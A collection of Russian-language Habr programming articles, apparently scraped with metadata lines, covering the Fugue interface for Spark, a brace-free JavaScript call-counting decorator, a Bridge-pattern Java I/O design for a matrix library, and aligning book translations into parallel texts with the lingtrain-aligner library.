Теперь опытный пользователь SQL может загружать данные, выполнять преобразования и сохранять результаты, используя FugueSQL поверх движка Spark. Любители SQL могут выразить свою сквозную логику вычислений в SQL-подобном интерфейсе. Недостатком является то, что стандарт SQL допускает только один оператор select, а FugueSQL - несколько. FugueSQL позволяет назначать переменные в виде временных таблиц, что является более дружественным синтаксисом, чем обобщенные табличные выражения (CTE). Более подробную информацию можно найти в [документации FugueSQL](https://fugue-tutorials.readthedocs.io/en/latest/tutorials/fugue_sql/index.html).
Этот интерфейс FugueSQL построен поверх слоя абстракции, что делает его совместимым с Pandas, Spark, Dask и BlazingSQL. Таким образом, он предлагает **ту же гибкость и преимущества, что и Fugue Python API.**
Существует также расширение для блокнота с подсветкой синтаксиса, которое позволяет пользователям обращаться к FugueSQL, просто выполняя в ячейке магическую команду `%%fsql`. Для получения дополнительной информации см. эту [статью](https://towardsdatascience.com/interoperable-python-and-sql-in-jupyter-notebooks-86245e711352).
### Партиционирование
*Существуют ли лучшие способы разбиения данных для конкретных случаев использования?*
По умолчанию Spark использует хэш-разделы. При небольшом количестве ключей это может легко привести к неравномерному разделению. Это может показаться не такой уж большой проблемой, но если на выполнение каждого ключа уходит один час, наличие неравномерных разделов может привести к тому, что работа займет еще несколько часов. Сложность в том, что разделы в Spark нельзя сделать ровными, не написав значительный объем кода.
Fugue позволяет пользователям выбирать между хэш-разбиением по умолчанию (HASH), случайным разбиением (RAND) или четным разбиением (EVEN). **Каждая из этих стратегий разбиения подходит для различных случаев использования.** Ниже приведена таблица с описанием того, когда следует использовать каждую из них.
| | HASH | RAND | EVEN |
| --- | --- | --- | --- |
| Скорость | высокая (map, shuffle) | высокая (map, shuffle) | низкая (map, reduce, map, shuffle) |
| Память | мало | мало | много (сначала нужно кэшировать датафрейм) |
| Интерпретируемость | да | нет | да |
| Равномерность (малые данные) | плохая | случайная | идеальная (строгая равномерность) |
| Равномерность (большие данные) | хорошая | хорошая | идеальная (но стоит ли оно того?) |
Равномерное разбиение особенно полезно для небольших данных, требующих больших вычислений. Когда данные перекошены, некоторые разделы в итоге содержат больше данных, чем другие. Время выполнения зависит от времени завершения раздела с наибольшим количеством данных. Если обеспечить равное количество элементов для каждого раздела, время выполнения может быть уменьшено. Для получения дополнительной информации ознакомьтесь с документацией по [партиционированию](https://fugue-tutorials.readthedocs.io/en/latest/tutorials/advanced/partition.html).
В приведенном ниже коде мы при разбиении данных отбираем три строки, которые содержат наибольшие значения col2. Предварительная сортировка применяется по мере разбиения данных по столбцу.
```
import random
data = pd.DataFrame({
'col': [random.randrange(1, 10, 1) for i in range(20)],
'col2': [random.randrange(1, 10, 1) for i in range(20)]
})
dag = FugueWorkflow()
df = dag.df(data)
df = df.partition_by("col", presort="col2 desc", algo="even").take(3)
dag.run(spark_session)
df.result.show()
```
### Fugue vs Koalas vs Modin
Fugue часто противопоставляется Koalas и Modin в качестве моста между одноядерными и распределенными вычислениями. Koalas - это интерфейс Pandas для Spark, а Modin - интерфейс Pandas для Dask и Ray. Сложно сравнивать эти проекты, потому что цели у них разные, но главное различие в том, что **эти два фреймворка считают, что Pandas может являться образцом синтаксиса для распределенных вычислений, в то время как Fugue считает, что родными должны быть Python и SQL, хоть в то же время поддерживает и использование Pandas.**
Поначалу переход с Pandas на Koalas или Modin может показаться намного проще. Некоторые пользователи ошибочно полагают, что можно заменить Pandas на другую библиотеку при импорте, и код будет прекрасно работать в распределенной среде. Во многих случаях это обещание слишком хорошее, чтобы быть правдой, потому что это требует, чтобы интерфейсы библиотек были полностью синхронизированы с API Pandas, что практически невозможно.
Однако полная совместимость с API Pandas не всегда имеет смысл в распределенной среде. Например, операция транспонирования работает в Pandas, но очень дорога, когда данные разбросаны по разным машинам. В крайних случаях приложению приходится идти на крайние компромиссы. Если операция не существует в Modin API, архитектура [по умолчанию использует Pandas](https://modin.readthedocs.io/en/latest/supported_apis/defaulting_to_pandas.html), который собирает все данные на одной машине. Это может легко перегрузить машину, собирающую все данные, которые ранее были распределены между несколькими процессорами.
Существуют также философские причины, по которым Fugue избегает использования Pandas в качестве образца синтаксиса для распределенных вычислительных операций. Koalas и Modin добавляют лексику к этому синтаксису, например, операции `persist` и `broadcast` для управления перемещением данных между процессорами. Но несоответствие здесь заключается в том, что базовый синтаксис Pandas не очень хорошо переводится на распределенные сценарии. К примеру, индекс является основой рабочих процессов Pandas. В типичном скрипте используется множество вызовов `reset_index()` и `set_index()`. При выполнении операций группировки индекс устанавливается автоматически. Индекс сохраняет глобальный порядок, что позволяет использовать метод `iloc`. Некоторые операции даже используют индекс в качестве условия объединения. В распределенной же среде порядок не гарантируется, так как его отслеживание часто неоправданно дорого с вычислительной точки зрения.
### Компромисс между производительностью кода и удобством Fugue
Всегда существует компромисс между производительностью кода и продуктивностью разработчика. Оптимизация производительности кода требует глубоких специфических трюков, которые сложно кодировать и поддерживать. С другой стороны, оптимизация продуктивности разработчика означает, что решения нужно создавать как можно быстрее, не заботясь о производительности кода. **Fugue немного жертвует производительностью кода ради значительного увеличения скорости итераций и удобства сопровождения.** Сосредоточившись на определении логики на уровне порций данных, пользователи часто обнаруживают, что их код становится более понятным, а **проблемы больших данных - маленькими и управляемыми.**
Если раньше использование Pandas и пользовательских функций на Spark было более медленным, то теперь оно становится все более производительным благодаря усовершенствованию движка Spark (использование Apache Arrow). Эффективность, теряемая Fugue при применении преобразований, очень минимальна, и пользователи часто видят ускорение своего кода за счет более эффективной работы с данными в распределенной среде. Фактически, Fugue переписывает большую часть кода в Spark, что по сути означает, что во многих случаях меняется лишь интерфейс программы.
### Заключение
В этой статье мы рассказали о болевых точках использования Spark, включая тестируемость, несоответствия с Pandas и отсутствие надежного интерфейса SQL. Мы представили Fugue как более дружественный интерфейс для работы со Spark. Fugue не конкурирует с движком Spark, Fugue упрощает его использование. Используя Fugue, пользователи часто видят более быстрые итерации проектов больших данных, что сокращает время выполнения и стоимость проекта.
Использование Fugue является неинвазивным и свободным от каких-либо зависимостей. Логика может быть определена в родном коде Python или Pandas, а затем перенесена в Spark. Fugue верит в адаптацию к пользователю, чтобы тот смог сосредоточиться на определении своей логики, а не беспокоиться о ее исполнении. Хотя в данной статье это не рассматривается, Fugue также предоставляет способы использования нативного кода Spark или конфигураций Spark. Он не ограничивает доступ к базовому фреймворку.
### Ресурсы
Дополнительные ресурсы по Fugue:
1. [Fugue Tutorials](https://fugue-tutorials.readthedocs.io/en/latest/)
2. [Fugue Repo](https://github.com/fugue-project/fugue)
3. [Fugue Best Practices](https://fugue-tutorials.readthedocs.io/tutorials/resources/best_practices/index.html) | https://habr.com/ru/post/710338/ | null | ru | null |
# Занимательный JavaScript: Без фигурных скобок
Меня всегда удивлял **JavaScript** прежде всего тем, что он наверно как ни один другой широко распространенный язык поддерживает одновременно обе парадигмы: нормальные и ненормальное программирование. И если про адекватные best-практики и шаблоны прочитано почти все, то удивительный мир того, как не надо писать код но можно, остается лишь слегка приоткрытым.
В этой статье мы разберем еще одну надуманную задачу, требующую непростительных надругательств над нормальным решением.
Предыдущая задача:
* [Кратчайший мемоизатор](https://habr.com/company/semrush/blog/413303/)
Формулировка
------------
> Реализуйте функцию-декоратор, считающую количество вызовов переданной функции и предоставляющую возможность получить это число по требованию. В решении **запрещено** использовать фигурные скобки и глобальные переменные.
Счетчик вызовов — это лишь повод, ведь есть [console.count()](https://developer.mozilla.org/en-US/docs/Web/API/Console/count). Суть в том, что наша функция аккумулирует некоторые данные при вызове обернутой функции и предоставляет некий интерфейс для доступа к ним. Это может быть и сохранение всех результатов вызова, и сбор логов, и некая мемоизация. Просто счетчик — примитивен и понятен всем.
Вся сложность — в ненормальном ограничении. Нельзя использовать фигурные скобки, а значит придется пересмотреть бытовые практики и ординарный синтаксис.
Привычное решение
-----------------
Сначала надо выбрать отправную точку. Обычно, если язык или его расширение не предоставляют необходимой функции декорации, мы реализуем некоторый контейнер самостоятельно: оборачиваемая функция, аккумулируемые данные и интерфейс доступа к ним. Часто это класс:
```
class CountFunction {
constructor(f) {
this.calls = 0;
this.f = f;
}
invoke() {
this.calls += 1;
return this.f(...arguments);
}
}
const csum = new CountFunction((x, y) => x + y);
csum.invoke(3, 7); // 10
csum.invoke(9, 6); // 15
csum.calls; // 2
```
Это нам сразу не годится, так как:
1. В JavaScript таким образом нельзя реализовать приватное свойство: мы можем как читать *calls* экземпляра (что нам и нужно), так и записывать в него значение извне (что нам НЕ нужно). Конечно, мы можем использовать [замыкание в конструкторе](http://2ality.com/2016/01/private-data-classes.html#keeping-private-data-in-the-environment-of-a-class-constructor), но тогда в чем смысл класса? А свежие [приватные поля](https://github.com/tc39/proposal-class-fields#private-fields) я бы пока опасался использовать без [babel 7](https://babeljs.io/docs/en/v7-migration).
2. Язык поддерживает функциональную парадигму, и создание экземпляра через *new* кажется тут не лучшим решением. Приятнее написать функцию, возвращающую другую функцию. Да!
3. Наконец, синтаксис *ClassDeclaration* и *MethodDefinition* не позволит нам при всем желании избавиться от всех фигурных скобок.
Но у нас есть замечательный [паттерн Модуль](https://addyosmani.com/resources/essentialjsdesignpatterns/book/#modulepatternjavascript), который реализует приватность с помощью замыкания:
```
function count(f) {
let calls = 0;
return {
invoke: function() {
calls += 1;
return f(...arguments);
},
getCalls: function() {
return calls;
}
};
}
const csum = count((x, y) => x + y);
csum.invoke(3, 7); // 10
csum.invoke(9, 6); // 15
csum.getCalls(); // 2
```
С этим уже можно работать.
Занимательное решение
---------------------
Для чего вообще здесь используются фигурные скобки? Это 4 разных случая:
1. Определение тела функции count (*FunctionDeclaration*)
2. Инициализация возвращаемого объекта
3. Определение тела функции invoke (*FunctionExpression*) с двумя выражениями
4. Определение тела функции getCalls (*FunctionExpression*) с одним выражением
Начнем со **второго** пункта. На самом деле нам незачем возвращать новый объект, при этом усложняя вызов конечной функции через *invoke*. Мы можем воспользоваться тем фактом, что функция в JavaScript является объектом, а значит может содержать свои собственные поля и методы. Создадим нашу возвращаемую функцию *df* и добавим ей метод *getCalls*, который через замыкание будет иметь доступ к *calls* как и раньше:
```
function count(f) {
let calls = 0;
function df() {
calls += 1;
return f(...arguments);
}
df.getCalls = function() {
return calls;
}
return df;
}
```
С этим и работать приятнее:
```
const csum = count((x, y) => x + y);
csum(3, 7); // 10
csum(9, 6); // 15
csum.getCalls(); // 2
```
C **четвертым** пунктом все ясно: мы просто заменим *FunctionExpression* на *ArrowFunction*. Отсутствие фигурных скобок нам обеспечит короткая запись стрелочной функции в случае единственного выражения в ее теле:
```
function count(f) {
let calls = 0;
function df() {
calls += 1;
return f(...arguments);
}
df.getCalls = () => calls;
return df;
}
```
С **третьим** — все посложнее. Помним, что первым делом мы заменили *FunctionExpression* функции *invoke* на *FunctionDeclaration df*. Чтобы переписать это на *ArrowFunction* придется решить две проблемы: не потерять доступ к аргументам (сейчас это псевдо-массив *arguments*) и избежать тела функции из двух выражений.
С первой проблемой нам поможет справиться явно указанный для функции параметр *args* со *spread operator*. А чтобы объединить два выражения в одно, можно воспользоваться *logical AND*. В отличии от классического логического оператора конъюнкции, возвращающего булево, он вычисляет операнды слева направо до первого "ложного" и возвращает его, а если все "истинные" – то последнее значение. Первое же приращение счетчика даст нам 1, а значит это под-выражение всегда будет приводится к true. Приводимость к "истине" результата вызова функции во втором под-выражении нас не интересует: вычислитель в любом случае остановится на нем. Теперь мы можем использовать *ArrowFunction*:
```
function count(f) {
let calls = 0;
let df = (...args) => (calls += 1) && f(...args);
df.getCalls = () => calls;
return df;
}
```
Можно немного украсить запись, используя префиксный инкремент:
```
function count(f) {
let calls = 0;
let df = (...args) => ++calls && f(...args);
df.getCalls = () => calls;
return df;
}
```
Решение **первого** и самого сложного пункта начнем с замены *FunctionDeclaration* на *ArrowFunction*. Но у нас пока останется тело в фигурных скобках:
```
const count = f => {
let calls = 0;
let df = (...args) => ++calls && f(...args);
df.getCalls = () => calls;
return df;
};
```
Если мы хотим избавиться от обрамляющих тело функции фигурных скобок, нам придется избежать объявления и инициализации переменных через *let*. А переменных у нас целых две: *calls* и *df*.
Сначала разберемся со счетчиком. Мы можем создать локальную переменную, определив ее в списке параметров функции, а начальное значение передать вызовом с помощью IIFE (Immediately Invoked Function Expression):
```
const count = f => (calls => {
let df = (...args) => ++calls && f(...args);
df.getCalls = () => calls;
return df;
})(0);
```
Осталось конкатенировать три выражения в одно. Так как у нас все три выражения представляют собой функции, приводимые всегда к true, то мы можем также использовать *logical AND*:
```
const count = f => (calls => (df = (...args) => ++calls && f(...args)) && (df.getCalls = () => calls) && df)(0);
```
Но есть еще один вариант конкатенации выражений: с помощью *comma operator*. Он предпочтительнее, так как не занимается лишними логическими преобразованиями и требует меньшего количества скобок. Операнды вычисляются слева-направо, а результатом является значение последнего:
```
const count = f => (calls => (df = (...args) => ++calls && f(...args), df.getCalls = () => calls, df))(0);
```
Наверно мне удалось вас обмануть? Мы смело избавились от объявления переменной *df* и оставили только присвоение нашей стрелочной функции. В этом случае эта переменная будет объявлена глобально, что недопустимо! Повторим для *df* инициализацию локальной переменной в параметрах нашей IIFE функции, только не будем передавать никакого начального значения:
```
const count = f => ((calls, df) => (df = (...args) => ++calls && f(...args), df.getCalls = () => calls, df))(0);
```
Таким образом цель достигнута.
Вариации на тему
----------------
Интересно, что мы смогли избежать создания и инициализации локальных переменных, нескольких выражений в функциональных блоках, создания литерала объекта. При этом сохранили чистоту исходного решения: отсутствие глобальных переменных, приватность счетчика, доступ к аргументам оборачиваемой функции.
В целом можно взять любую реализацию и попробовать провернуть подобное. Например, полифилл для функции *bind* в этом плане довольно прост:
```
const bind = (f, ctx, ...a) => (...args) => f.apply(ctx, a.concat(args));
```
Однако, если аргумент *f* не является функцией, по-хорошему мы должны выбросить исключение. А исключение *throw* не может быть выброшено в контексте выражения. Можно подождать [throw expressions (stage 2)](https://github.com/tc39/proposal-throw-expressions) и попробовать еще раз. Или у кого-то уже сейчас есть мысли?
Или рассмотрим класс, описывающий координаты некоторой точки:
```
class Point {
constructor(x, y) {
this.x = x;
this.y = y;
}
toString() {
return `(${this.x}, ${this.y})`;
}
}
```
Который может быть представлен функцией:
```
const point = (x, y) => (p => (p.x = x, p.y = y, p.toString = () => ['(', x, ', ', y, ')'].join(''), p))(new Object);
```
Только мы здесь потеряли прототипное наследование: *toString* является свойством объекта-прототипа *Point*, а не отдельно созданного объекта. Можно ли этого избежать, если изрядно постараться?
В результатах преобразований мы получаем нездоровую смесь функционального программирования с императивными хаками и некоторыми особенностями самого языка. Если подумать, то из этого может получиться интересный (но не практичный) обфускатор исходного кода. Вы можете придумать свой вариант задачи "скобочного обфускатора" и развлекать коллег и друзей JavaScript'еров в свободное от полезной работы время.
Заключение
----------
Спрашивается, а кому это полезно и зачем оно надо? Это совершенно вредно для начинающих, так как формирует ложное представление об излишней сложности и девиантности языка. Но может быть полезно практикующим, так как позволяет взглянуть на особенности языка с другой стороны: призыв не избегать, а призыв попробовать, чтобы избегать в дальнейшем. | https://habr.com/ru/post/428337/ | null | ru | null |
# Идея реализации пакета I/O в Java
*Совершенство достигается не тогда, когда уже нечего прибавить,*
*а когда уже ничего нельзя отнять.*
Антуан де Сент-Экзюпери, Ветер, песок и звезды, 1939
Часто приходится проектировать и разрабатывать пакеты ввода/вывода для приложений на Java. С одной стороны есть java.io, которого бывает более чем достаточно. Однако, на практике редко удается обойтись набором стандартных классов и интерфейсов.
В статье, приводится практический пример идеи для реализации пакетов ввода/вывода на платформе Java.
#### Постановка задачи
Для наглядности рассмотрим пример. Пусть требуется разработать пакет ввода/вывода для матричной библиотеки. При этом, необходимо учитывать, что:
* Матриц (типов/классов) может быть бесчисленное множество, например — плотные, разреженные;
* Входных и выходных форматов может также быть много, например — [MatrixMarket](http://math.nist.gov/MatrixMarket/formats.html), XML;
#### Формат MatrixMarket
Для формата MatrixMarket будут следующие представления матрицы:
```
0 2
3 0
```
Для плотной матрицы:
```
%%MatrixMarket matrix array real general
2 2
0
2
3
0
```
Для разреженной матрицы:
```
%%MatrixMarket matrix coordinate real general
2 2 2
0 1 2
1 0 3
```
#### Реализация
Таким образом, реализация пакета I/O должна быть настолько гибкой, чтобы при расширении системы (добавления нового типа матрицы, например блочной или добавления нового формата, например CSV), не требовалось полностью переписывать пакет — а было достаточным лишь реализовать дополнительный класс — класс новой матрицы или нового формата.
Внимательный читатель заметит явное сходство описанной проблемы, с проблемой решаемой шаблоном [мост](http://sourcemaking.com/design_patterns/bridge). Это действительно так и статью можно воспринимать как пример реализации шаблона Мост для пакета ввода/вывода.
Возвращаясь к основам [паттернов проектирования](http://habrahabr.ru/blogs/personal/84706/), можно кратко описать шаблон [мост](http://habrahabr.ru/blogs/complete_code/85137/), как разделение абстракции и реализации. В нашем случае — отделение типа матрицы (плотная, блочная) от формата (XML, MatrixMarket). Достигается это за счет введения двух интерфейсов — интерфейса абстракции и интерфейса реализации. Интерфейс абстракции должен высокоуровнево описывать поведение пакета, например методы — readMatrix(), writeMatrix(). В то время, как интерфейс реализации должен описывать низкоуровневые моменты, такие как — readMatrixElement(), writeMatrixElement() и т.д. Тогда в самом простом случае, диаграмма классов для пакета ввода/вывода выглядит следующим образом.
Высоуровневый метод writeMatrix() представляет собой последовательность низкоуровневых вызовов:
* writeMatrixHeader() — запись информации о типе матрицы;
* writeMatrixMeta() — запись информации о размерности матрицы;
* writeMatrixElement() — запись информации об элементе матрицы.
Получается что, шаблон мост решает описанную ранее проблему, благодаря разделению реализации и абстракции. Но в большинстве случаев, объекты, с которыми работают пакеты ввода/вывода уже реализуют механизмы сериализации (Srializable, Externalizable). В нашем случае, интерфейс Matriх уже расширяет интерфейс Externalizable. Почему именно Externalizable а не Serizliable можно прочитать в [этом](http://skipy.ru/technics/serialization.html) или [этом (работа автора)](http://software.intel.com/ru-ru/articles/Optimizaciya-dostupa-k-zagruzchikam-klassov-JVM-1/) исследованиях. В кратце — Externalizble работает в разы быстрее за счет сокращенного количества вызовов в JVM/Reflection.
И так методы readExternal/writeExternal для плотной матрицы выглядят так:
```
public void writeExternal(ObjectOutput out) throws IOException {
out.writeInt(rows);
out.writeInt(columns);
for (int i = 0; i < rows; i++) {
for (int j = 0; j < columns; j++) {
out.writeDouble(self[i][j]);
}
}
}
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
rows = in.readInt();
columns = in.readInt();
self = new double[rows][columns];
for (int i = 0; i < rows; i++) {
for (int j = 0; j < columns; j++) {
self[i][j] = in.readDouble();
}
}
}
```
Внимательный читатель скажет: “Это же в точности напоминает шаблон Мост!” и будет совершенно прав. Интерфейсы ObjectOutput и ObjectInput реализуют идею шаблона в качестве интерфейсов реализации. Тогда возникает вопрос — “Зачем плодить еще классы вида MatrixReader/MarixWriter и писать в них дубликаты методов readExterna()l/writeExternal()?”. Правильно — незачем. Тем более методология DRY (Don’t Repeat Yourself — Не повторяй себя) нам об этом напоминает.
В таком случае, попытаемся пересмотреть предложенную реализацию пакета, с учетом того, что java.io уже содержит интерфейсы реализации — ObjectInput/ObjectOutput. Т.е. нам требуется лишь реализовать классы форматов — MMOutoutStream/MMInputStream (MM = MatrixMarket), чтобы использовать их вместо стандартных классов для сериализации — ObjectInputStream/ObjectOutputStream. Тогда использование будет очень прозрачным:
```
// запись
ObjectOutput mmos = new MMOutputStream(“file.mm”);
mmos.writeObject(a);
mmos.close();
// чтение
ObjectInput mmis = new MMInputStream(“file.mm”);
Matrix b = (Matrix) mmis.readObject();
```
Приведенный выше код, легко трансформируется в код сериализации. Для этого, достаточно лишь заменить классы MM\* на Object\*. (MMOutputStream -> ObjectOutputStream).
Осталась одна нерешенная проблема. Проблема разделения логических блоков файла. В нашем случае файл делится на:
* Header — заголовок, содержащий тип матрицы;
* Meta — мета информацию, содержащую размерность матрицы;
* Data — данные.
В предыдущей архитектуре пакета были представлены разделенные методы, позволяющие записывать данную информацию раздельно. Однако интерфейсы ОbjectOutput/ObjectInput таких методов очевидно не содержат. Т.е. методы в стандартных классах являются более низкоуровневыми.
Для решения этой проблемы автор предлагает использовать специальные маркеры (байты), обозначающие границы каждого из блоков — заголовка (HEADER\_MARKER), Мета-информации (META\_MARKER) и элемента (ELEMENT\_MARKER).
Тогда методы writeExternal()/readExternal() будут выглядеть следующим образом:
```
@Override
public void writeExternal(ObjectOutput out) throws IOException {
out.writeInt(rows);
out.writeInt(columns);
out.writeByte(META_MARKER); // записываем маркер META
for (int i = 0; i < rows; i++) {
for (int j = 0; j < columns; j++) {
out.writeDouble(self[i][j]);
out.writeByte(ELEMENT_MARKER); // записываем маркер ELEMENT
}
}
}
@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
rows = in.readInt();
columns = in.readInt();
in.readByte(); // пропускаем меркер META
self = new double[rows][columns];
for (int i = 0; i < rows; i++) {
for (int j = 0; j < columns; j++) {
self[i][j] = in.readDouble();
in.readByte(); // пропускаем меркер ELEMENT
}
}
}
```
C одной стороны — запись дополнительных нескольких байт не скажется на производительности приложения или читаемости кода, с другой — дает дополнительную возможность для реализации внешних потоков с поддержкой различных форматов.
С точки зрения потока, в нашем случае MMInputStream/MMOutputStream, запись будет выглядеть следующим образом:
* Записывать в буфер, любые данные, полученные через методы writeDouble()/writeInt();
* При получении одного из маркеров — выполнить ассоциированную с ним операции на основании буфера значений.
Ниже приведена основная часть реализации класса MMOutputSteam:
```
public class MMOutputStream extends OutputStream implements ObjectOutput {
@Override
public void writeByte(int v) throws IOException {
switch (v) {
case HEADER_MARKER:
writeHeader();
break;
case META_MARKER:
writeMeta();
break;
case ELEMENT_MARKER:
writeElement();
break;
}
}
@Override
public void writeInt(int v) throws IOException {
put(String.valueOf(v));
}
@Override
public void writeDouble(double v) throws IOException {
put(String.format(Locale.US, "%.12f", v));
}
@Override
public void writeObject(Object obj) throws IOException {
if (matrix instanceof SparseMatrix) {
put(SPARSE_HEADER);
} else if (matrix instanceof DenseMatrix) {
put(DENSE_HEADER);
}
writeHeader();
matrix.writeExternal(this);
flush();
}
private void writeHeader() throws IOException {
out.write("%%MatrixMarket ");
out.write(buffer[0] + " ");
out.write(buffer[1] + " ");
out.write("real general");
out.newLine();
}
private void writeMeta() throws IOException {
dumpBuffer();
out.newLine();
}
private void writeElement() throws IOException {
dumpBuffer();
out.newLine();
}
private void put(String value) {
buffer[length++] = value;
}
private void dumpBuffer() throws IOException {
for (int i = 0; i < length; i++) {
out.write(buffer[i] + " ");
}
}
}
```
#### Резюме
Предложенные вариант реализации пакета ввода/вывода в Java является достаточно удачным применением шблона Мост к существущим иерархиям в Java API. Автор надеется, что описанная в статье идея станет еще одним удобным инструментом в распоряжении читателей и натолкнет их на дополнительные рассуждения по этому теме.
#### \*
Описанный в статье пример, является частью открытой библиотеки для решения задач линейной алгебры — [la4j](http://code.google.com/p/la4j/). Рассмотренную реализацию идеи можно посмотреть в пакете [la4j.io](http://code.google.com/p/la4j/source/browse/trunk/la4j/src/main/java/la4j/io/). В текущей версии поддерживается только формат MatrixMarket.
**PS** автор топика = автор la4j. | https://habr.com/ru/post/132372/ | null | ru | null |
# Сам себе Гутенберг. Делаем параллельные книги
*Upd. 04.12.2021 — [Наш телеграм канал](http://t.me/lingtrain)*
Если вам нравится изучать языки (или вы их преподаете), то вы наверняка сталкивались с таким способом освоения языка как параллельное чтение. Он помогает погрузиться в контекст, увеличивает лексикон и позволяет получить удовольствие от обучения. Читать тексты в оригинале параллельно с русскоязычными, на мой взгляд, стоит, когда уже освоены азы грамматики и фонетики, так что учебники и преподавателей никто не отменял. Но когда дело все же доходит до чтения, то хочется подобрать что-то по своему вкусу, либо что-то уже знакомое или любимое, а это часто невозможно, потому что такого варианта параллельной книги никто не выпускал. А если вы учите не английский язык, а условный японский или венгерский, то трудно найти вообще хоть какой-то интересный материал с параллельным переводом.
Сегодня мы сделаем решительный шаг в сторону исправления этой ситуации.
Из чего делаем
--------------
На входе у нас будут два текстовых файла с оригинальным текстом и его переводом. Для примера возьмем книгу "Убить пересмешника" Харпер Ли на русском и английском языках.
Начало документов выглядит так (отрывки приведены в таком виде, в котором они были найдены в сети):
```
TO KILL A MOCKINGBIRD
by Harper Lee
DEDICATION
for Mr. Lee and Alice
in consideration of Love & Affection
Lawyers, I suppose, were children once.
Charles Lamb
PART ONE
1
When he was nearly thirteen, my brother Jem got his arm badly
broken at the elbow. When it healed, and Jem’s fears of never being
able to play football were assuaged, he was seldom self-conscious about
his injury. His left arm was somewhat shorter than his right; when he
stood or walked, the back of his hand was at right angles to his body,
his thumb parallel to his thigh. He couldn’t have cared less, so long as
he could pass and punt.
```
---
```
Харпер Ли
Убить пересмешника
Юристы, наверно, тоже когда-то были детьми.
Чарлз Лэм
ЧАСТЬ ПЕРВАЯ
1
Незадолго до того, как моему брату Джиму исполнилось тринадцать, у него была сломана рука. Когда рука зажила и Джим перестал бояться, что не сможет играть в футбол, он ее почти не стеснялся. Левая рука стала немного короче правой; когда Джим стоял или ходил, ладонь была повернута к боку ребром. Но ему это было все равно - лишь бы не мешало бегать и гонять мяч.
```
Как делаем
----------
Задача объемная, поэтому разобьем ее на три части:
1. Подготовка текстов
2. Выравнивание двух текстов по предложениям
3. Создание книги
Начнем с выравнивания двух текстов, так как эта часть является центральной и крайние пункты опираются на нее.
Получение параллельного корпуса
-------------------------------
Строго говоря, нам нужно получить параллельный корпус из двух текстов. Задача не так проста как кажется по ряду причин:
* Переводчики часто переводят текст не как одно предложение к одному. Особенно ярко это заметно при переводе на иероглифические тексты (китайский, японский и т.д.), где сложные предложения как правило будут разбиты на несколько простых. В переводах на другие языки это также встречается довольно часто.
* Некоторые предложения или абзацы могут попросту отсутствовать, а иногда переводчик добавляет что-нибудь от себя.
* При очистке текстов от лишней информации, которая не участвует в выравнивании (автор, название, номера глав и подзаголовки), понадобится сохранить ее местоположение в тексте, чтобы конечная книга получилась полной и красивой.
Для выравнивания воспользуемся библиотекой [lingtrain-aligner](https://github.com/averkij/lingtrain-aligner), над которой я работаю около года и которая родилась из кучи скриптов на python, часть из которых еще ждет своего часа. Проект открытый, буду рад вашим идеям и предложениям. Все ссылки вы найдете в конце статьи.
Под капотом библиотека использует модели машинного обучения, которые переводят предложения в векторное пространство. Это позволяет посчитать между векторами расстояние и проинтерпретировать его как близость предложений по смыслу. Эти модели многоязычные, одна из них поддерживает чуть более 50-ти языков, вторая — более ста. Причем сюда не входят родственные языки, для которых такой подход тоже будет иметь смысл за счет того, что они частично пересекаются по лексикону. Ссылки на статьи и списки языков, опять же, найдете ниже.
При подаче в программу текстов, произойдет следующее:
* Текст сливается в одну строку.
* Строка подчищается в зависимости от языка текста.
* Строка разбивается по предложениям при помощи библиотеки razdel или регулярок.
* Из каждой строки достается метаинформация, на основе специальных меток.
Метки нам понадобятся для того, чтобы при составлении книги из корпуса восстановить деление по частям и главам.
Давайте подготовим тексты для подачи в программу.
Подготовка текстов
------------------
### Язык разметки
В качестве разметки был придуман простой язык, который совместим с последующим разбиением текста на предложения. Сейчас поддерживаются несколько типов меток, которые ставятся в конце строки. В конце каждой метки должна стоять точка.
| Метка | Значение | Установка |
| --- | --- | --- |
| %%%%%title. | Название произведения | Вручную |
| %%%%%author. | Автор | Вручную |
| %%%%%h1. %%%%%h2. %%%%%h3. %%%%%h4. %%%%%h5. | Заголовки | Вручную |
| %%%%%divider. | Разделитель | Вручную |
| %%%%%. | Новый абзац | Автоматически |
#### Метки абзацев
Метки абзацев будут проставлены автоматически по следующему правилу: если строка кончается на символ [.,:,!?] и перенос строки, то считаем такую строку концом абзаца.
#### Правила подготовки текста
1. Удалить заведомо лишние строки (информацию об издателе, посвящение, номера страниц, примечания).
2. Проставить метки для автора и названия.
3. Проставить метки для заголовков (H1 самый большой, H5 самый маленький). Если заголовки не нужны, то просто удалите их.
4. Убедиться, что в тексте нет строк, которые кончаются точкой и при этом не являются концом абзаца (иначе целый абзац разобьется в этом месте на два).
Расставьте метки руками в соответствии с правилами, пустые строки в данном случае роли не играют. Должны получиться документы, похожие на такие:
```
TO KILL A MOCKINGBIRD%%%%%title.
by Harper Lee%%%%%author.
%%%%%divider.
PART ONE%%%%%h1.
1%%%%%h2.
When he was nearly thirteen, my brother Jem got his arm badly
broken at the elbow. When it healed, and Jem’s fears of never being
able to play football were assuaged, he was seldom self-conscious about
his injury. His left arm was somewhat shorter than his right; when he
stood or walked, the back of his hand was at right angles to his body,
his thumb parallel to his thigh. He couldn’t have cared less, so long as
he could pass and punt.
...
```
---
```
Харпер Ли%%%%%author.
Убить пересмешника%%%%%title.
%%%%%divider.
ЧАСТЬ ПЕРВАЯ%%%%%h1.
1%%%%%h2.
Незадолго до того, как моему брату Джиму исполнилось тринадцать,
у него была сломана рука. Когда рука зажила и Джим перестал бояться,
что не сможет играть в футбол, он ее почти не стеснялся. Левая рука стала
немного короче правой; когда Джим стоял или ходил, ладонь была повернута к
боку ребром. Но ему это было все равно - лишь бы не мешало бегать и
гонять мяч.
...
```
Здесь и дальше все "главные" заголовки ("ЧАСТЬ ПЕРВАЯ", "ЧАСТЬ ВТОРАЯ" и т.д.) помечены меткой h1, номера глав помечены метками h2. Перед выравниваем все метки будут удалены из текста и будут использованы при создании книги.
Выравнивание
------------
### Colab блокнот
Чтобы выровнять свои тексты используйте вот этот [Colab блокнот](https://colab.research.google.com/drive/1r8vHKn_2vreu8AWTzOgk1CbWrDnWmdyC?usp=sharing). Это интерактивный блокнот на питоне, в который вы можете вносить изменения и запускать в браузере. В нем есть инструкции и некоторые комментарии к процессу. В конце можно будет скачать получившуюся книгу как html страничку.
### Скрипты
Здесь же давайте напишем небольшой скрипт, обсудим сложности и ограничения нашего подхода.
Установим библиотеку следующей командой:
```
pip install lingtrain-aligner
```
Импортируем необходимые компоненты:
```
from lingtrain_aligner import preprocessor, splitter, aligner, resolver, reader, vis_helper
